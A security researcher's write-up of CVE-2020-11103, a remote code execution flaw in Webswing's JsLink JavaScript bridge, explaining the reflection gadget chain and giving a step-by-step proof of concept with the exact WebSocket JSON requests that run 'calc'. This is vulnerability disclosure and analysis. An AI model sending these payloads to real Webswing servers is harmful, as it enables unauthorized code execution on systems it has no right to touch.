Author: UltramanGaia
1. Webswing JsLink Mechanism
Webswing offers JavaScript integration API, which allows invoking JavaScript functions from the Swing application code and vice versa.
2. Vulnerability Analysis
Before we can make any Java calls from JavaScript, we need to expose a Java object instance and store a reference to it in variable.
In Webswing, there is a hash table called WebJSObject.javaReferences
, which contains all exposed Java objects. The JsLink mechanism allows us to use java reflection to call object methods in javaReferences
.
Interestingly, after the method invoked, the return value will be added to the JavaReferences
, which means if we could find a gadget chain to make some evil operations, that will be a security problem.
In Java, all Class is the subclass of Object Class, and Object Class exposes the getClass
method.
No matter what class Object is in javaReferences
,we can call the getClass
method and build a gadget chain to execute code like below.
XXXX.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('calc');"
3. Proof of Concept
We will use webswing-examples-2.7.5 as an example.
In addition, the payload is sending over WebSocket protocol, we need OWASP ZAP help to edit and resend payload.
3.1 Environmental preparation
Run the webswing.bat file.
Install ZAP and set it as your browser’s proxy.
Webswing uses BinarySocket by default. For convenience we need to switch to text mode.
Click on the ZAP menu Tools->Options->Replacer
. Add a new rule.
Visit http://localhost:8080/swingset3/
and login. You can view messages in ZAP.
3.2 XXXX.getClass()
Click JsLink and then click “Evaluate JavaScript”.
You will find such a packet.
Now we know that there is an object in javaReferences whose key is 2c700680-66ce-46c2-be63-4f24e6d63608
.
We can construct and send a packet as shown below.
{"javaRequest":{"correlationId":"83887784fca","objectId":"2c700680-66ce-46c2-be63-4f24e6d63608","method":"getClass","params":[]}}
You will find the server return an object id 940b076d-3feb-4a1d-81db-b57ab1060bf7
.
3.3 XXXX.getClass().forName(“javax.script.ScriptEngineManager”)
We can construct and send a packet as shown below.
{"javaRequest":{"correlationId":"83887784fca","objectId":"940b076d-3feb-4a1d-81db-b57ab1060bf7","method":"forName","params":[{"primitive":"\"javax.script.ScriptEngineManager\""}]}}
You will find the server return an object id fe61c023-5262-4bee-a132-ed4822fb7f63
.
3.4 XXXX.getClass().forName(“javax.script.ScriptEngineManager”).newInstance()
Repeat.
{"javaRequest":{"correlationId":"83887784fca","objectId":"fe61c023-5262-4bee-a132-ed4822fb7f63","method":"newInstance","params":[]}}
We got f5cfae91-45a4-4fe1-8554-d8ce9bf12d7e
.
3.5 XXXX.getClass().forName(“javax.script.ScriptEngineManager”).newInstance().getEngineByName(“js”)
{"javaRequest":{"correlationId":"83887784fca","objectId":"f5cfae91-45a4-4fe1-8554-d8ce9bf12d7e","method":"getEngineByName","params":[{"primitive":"\"js\""}]}}
We got 42554f1a-8866-472e-aee3-0ff90281e2d7
.
3.6 XXXX.getClass().forName(“javax.script.ScriptEngineManager”).newInstance().getEngineByName(“js”).eval(“java.lang.Runtime.getRuntime().exec(‘calc’);”
{"javaRequest":{"correlationId":"83887784fca","objectId":"42554f1a-8866-472e-aee3-0ff90281e2d7","method":"eval","params":[{"primitive":"\"java.lang.Runtime.getRuntime().exec('calc');\""}]}}
Wow! Calc.exe is executed.
4. issue and patch
Webswing JsLink Mechanism Remote Code Execution Vulnerability(CVE-2020-11103)
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com